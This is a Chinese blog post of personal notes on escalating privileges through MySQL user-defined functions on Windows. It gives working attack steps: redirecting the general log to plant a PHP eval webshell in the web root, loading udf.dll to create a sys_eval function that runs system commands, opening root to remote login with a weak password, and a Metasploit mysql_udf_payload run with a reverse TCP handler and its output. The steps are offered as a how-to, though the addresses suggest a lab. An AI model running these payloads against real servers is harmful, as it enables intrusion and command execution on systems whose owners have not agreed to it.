windows下udf提权的知识点梳理

～王

于 2024-07-10 23:46:00 发布

阅读量263

点赞数 7

分类专栏：提权笔记文章标签： web安全安全漏洞

本文链接：https://blog.csdn.net/wangqiao258/article/details/140335747

版权

提权笔记专栏收录该内容

2 篇文章 0 订阅

订阅专栏

一、sql注入写shell和udf提权相关条件和命令

1、知道网站物理路径
2、高权限数据库用户(数据库的写)
3、load_file () 开启即 secure_file_priv 无限制
4、网站路径有写入权限
请添加图片描述

日志文件写入webshell

Web 文件夹宽松权限可以写入
Windows 系统下
高权限运行 MySQL 或者 Apache
MySQL 5.0 版本以上会创建日志文件，可以通过修改日志的全局变量来 getshell，一般在有phpmyadmin下用这个方法。

SHOW VARIABLES LIKE 'general%';   #查询日志文件

请添加图片描述

# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='E:\\phpstudy_pro\\WWW\\shell2.php';

请添加图片描述

# 往日志里面写入 payload
select '<?php eval($_POST[1]);?>';

请添加图片描述

写入webshell后的操作

手写UDF提权。
MSF的UDF提权，需要远程登录或者代理。
上传有udf提权功能的马。

1、手写UDF提权。
将udf.dll文件写入到mysql的 E:\phpstudy_pro\Extensions\MySQL5.7.26\lib\plugin\ 文件夹下。lib和plugin文件夹可用webshell或ADS创建这两个文件夹。

#完整命令在下面链接
https://www.sqlsec.com/udf/

请添加图片描述

#创建自定义函数并调用命令
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

导入成功后查看一下 mysql 函数里面是否新增了 sys_eval：
请添加图片描述

#执行命令
select sys_eval('whoami');

请添加图片描述

#删除自定义函数
drop function sys_eval;

2、MSF的UDF提权

#修改mysql允许远程登录,第一个root为用户，第二个为密码
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

msf6 exploit(multi/mysql/mysql_udf_payload) > set rhosts 192.168.200.5
rhosts => 192.168.200.5
msf6 exploit(multi/mysql/mysql_udf_payload) > set password root
password => root
msf6 exploit(multi/mysql/mysql_udf_payload) > run

[*] Started reverse TCP handler on 192.168.200.3:4444 
[*] 192.168.200.5:3306 - Checking target architecture...
[*] 192.168.200.5:3306 - Checking for sys_exec()...
[*] 192.168.200.5:3306 - Checking target architecture...
[*] 192.168.200.5:3306 - Checking for MySQL plugin directory...
[*] 192.168.200.5:3306 - Target arch (win64) and target path both okay.
[*] 192.168.200.5:3306 - Uploading lib_mysqludf_sys_64.dll library to E:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/SJPPUPaF.dll...
[*] 192.168.200.5:3306 - Checking for sys_exec()...
[*] 192.168.200.5:3306 - Command Stager progress -  55.47% done (1444/2603 bytes)
[*] 192.168.200.5:3306 - Command Stager progress - 100.00% done (2603/2603 bytes)
[*] Exploit completed, but no session was created.
msf6 exploit(multi/mysql/mysql_udf_payload) >

然后和上述一样流程，使用dll文件创建函数，执行命令。